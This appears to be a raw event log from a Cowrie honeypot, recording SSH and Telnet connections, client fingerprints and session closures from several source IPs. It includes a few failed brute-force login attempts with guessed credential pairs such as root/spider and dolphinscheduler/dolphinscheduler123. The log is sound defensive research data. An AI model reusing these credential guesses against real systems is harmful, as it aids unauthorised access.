{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:40.021584Z","src_ip":"31.40.204.166","session":"fdb59ba7b3bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:40.190247Z","src_ip":"31.40.204.166","session":"fdb59ba7b3bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48304,"dst_ip":"10.17.0.5","dst_port":23,"session":"62a89e858ddd","protocol":"telnet","message":"New connection: 152.42.224.71:48304 (10.17.0.5:23) [session: 62a89e858ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:40.924800Z"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:40.985247Z","src_ip":"31.40.204.166","session":"fdb59ba7b3bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:42.181763Z","src_ip":"31.40.204.166","session":"fdb59ba7b3bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.92046546936035,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:44.794725Z","src_ip":"152.42.224.71","session":"465b9d234e7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.431734800338745,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:46.457229Z","src_ip":"152.42.224.71","session":"e3d59942bda9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.20873498916626,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:46.546934Z","src_ip":"152.42.224.71","session":"92c07db9b0cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38480,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bf20cd236fd","protocol":"telnet","message":"New connection: 152.42.224.71:38480 (10.17.0.5:23) [session: 8bf20cd236fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:47.116876Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38486,"dst_ip":"10.17.0.5","dst_port":23,"session":"f01aba4a0313","protocol":"telnet","message":"New connection: 152.42.224.71:38486 (10.17.0.5:23) [session: f01aba4a0313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:47.196875Z"}
{"eventid":"cowrie.session.closed","duration":24.589652061462402,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:50.696000Z","src_ip":"152.42.224.71","session":"696b157a75a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38494,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fea6c5e5352","protocol":"telnet","message":"New connection: 152.42.224.71:38494 (10.17.0.5:23) [session: 9fea6c5e5352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:50.737424Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38496,"dst_ip":"10.17.0.5","dst_port":23,"session":"008587b95a5f","protocol":"telnet","message":"New connection: 152.42.224.71:38496 (10.17.0.5:23) [session: 008587b95a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:51.191743Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51162,"dst_ip":"159.203.135.109","dst_port":22,"session":"a86f6e39c0af","protocol":"ssh","message":"New connection: 31.40.204.166:51162 (159.203.135.109:22) [session: a86f6e39c0af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:51.683772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:51.699485Z","src_ip":"31.40.204.166","session":"a86f6e39c0af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:51.820604Z","src_ip":"31.40.204.166","session":"a86f6e39c0af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38512,"dst_ip":"10.17.0.5","dst_port":23,"session":"e059a01c3c2f","protocol":"telnet","message":"New connection: 152.42.224.71:38512 (10.17.0.5:23) [session: e059a01c3c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:52.371079Z"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:52.421045Z","src_ip":"31.40.204.166","session":"a86f6e39c0af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:53.601241Z","src_ip":"31.40.204.166","session":"a86f6e39c0af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38518,"dst_ip":"10.17.0.5","dst_port":23,"session":"8659ba44dc16","protocol":"telnet","message":"New connection: 152.42.224.71:38518 (10.17.0.5:23) [session: 8659ba44dc16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:55.735189Z"}
{"eventid":"cowrie.session.closed","duration":8.630147457122803,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:55.826917Z","src_ip":"152.42.224.71","session":"f01aba4a0313","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":54790,"dst_ip":"159.203.135.109","dst_port":22,"session":"970d5e649fac","protocol":"ssh","message":"New connection: 103.149.28.157:54790 (159.203.135.109:22) [session: 970d5e649fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:58.793849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:58.799006Z","src_ip":"103.149.28.157","session":"970d5e649fac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:59.050630Z","src_ip":"103.149.28.157","session":"970d5e649fac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spider","message":"login attempt [root/spider] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:20:59.804493Z","src_ip":"103.149.28.157","session":"970d5e649fac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.974367618560791,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:00.091111Z","src_ip":"152.42.224.71","session":"8bf20cd236fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51060,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbe1325af9a1","protocol":"telnet","message":"New connection: 152.42.224.71:51060 (10.17.0.5:23) [session: bbe1325af9a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:00.297410Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":49844,"dst_ip":"159.203.135.109","dst_port":22,"session":"42c348b37d67","protocol":"ssh","message":"New connection: 194.113.233.25:49844 (159.203.135.109:22) [session: 42c348b37d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:00.497298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:00.502368Z","src_ip":"194.113.233.25","session":"42c348b37d67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:00.591979Z","src_ip":"194.113.233.25","session":"42c348b37d67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00118398666382,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:00.779834Z","src_ip":"152.42.224.71","session":"aec4cd580736","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"345678","message":"login attempt [root/345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:00.873538Z","src_ip":"194.113.233.25","session":"42c348b37d67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:01.055989Z","src_ip":"103.149.28.157","session":"970d5e649fac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51072,"dst_ip":"10.17.0.5","dst_port":23,"session":"187836f02d59","protocol":"telnet","message":"New connection: 152.42.224.71:51072 (10.17.0.5:23) [session: 187836f02d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:01.281433Z"}
{"eventid":"cowrie.session.closed","duration":48.67248749732971,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:01.534770Z","src_ip":"152.42.224.71","session":"6156c74c729f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:01.965185Z","src_ip":"194.113.233.25","session":"42c348b37d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37566,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e7beb29d588","protocol":"ssh","message":"New connection: 31.40.204.166:37566 (159.203.135.109:22) [session: 8e7beb29d588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:03.481816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:03.487262Z","src_ip":"31.40.204.166","session":"8e7beb29d588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:03.610789Z","src_ip":"31.40.204.166","session":"8e7beb29d588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:04.317267Z","src_ip":"31.40.204.166","session":"8e7beb29d588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:05.496441Z","src_ip":"31.40.204.166","session":"8e7beb29d588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47842,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a50a6dad89e","protocol":"telnet","message":"New connection: 152.42.224.71:47842 (10.17.0.5:23) [session: 0a50a6dad89e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:07.746366Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47856,"dst_ip":"10.17.0.5","dst_port":23,"session":"522707f8cf9d","protocol":"telnet","message":"New connection: 152.42.224.71:47856 (10.17.0.5:23) [session: 522707f8cf9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:08.340135Z"}
{"eventid":"cowrie.session.closed","duration":42.49483060836792,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:09.076225Z","src_ip":"152.42.224.71","session":"bc631cdd194e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47864,"dst_ip":"10.17.0.5","dst_port":23,"session":"8da0ed133f41","protocol":"telnet","message":"New connection: 152.42.224.71:47864 (10.17.0.5:23) [session: 8da0ed133f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:09.507945Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47868,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd509a6b4b14","protocol":"telnet","message":"New connection: 152.42.224.71:47868 (10.17.0.5:23) [session: cd509a6b4b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:12.173746Z"}
{"eventid":"cowrie.session.closed","duration":57.6523494720459,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:12.645198Z","src_ip":"152.42.224.71","session":"6de9d57193a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47872,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fbc830186bd","protocol":"telnet","message":"New connection: 152.42.224.71:47872 (10.17.0.5:23) [session: 3fbc830186bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:13.110487Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47874,"dst_ip":"10.17.0.5","dst_port":23,"session":"55bcb022066e","protocol":"telnet","message":"New connection: 152.42.224.71:47874 (10.17.0.5:23) [session: 55bcb022066e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:13.253727Z"}
{"eventid":"cowrie.session.closed","duration":14.53826117515564,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:14.835554Z","src_ip":"152.42.224.71","session":"bbe1325af9a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45952,"dst_ip":"159.203.135.109","dst_port":22,"session":"10cde57114d3","protocol":"ssh","message":"New connection: 31.40.204.166:45952 (159.203.135.109:22) [session: 10cde57114d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:15.486453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:15.497310Z","src_ip":"31.40.204.166","session":"10cde57114d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:15.618680Z","src_ip":"31.40.204.166","session":"10cde57114d3","protocol":"ssh"}
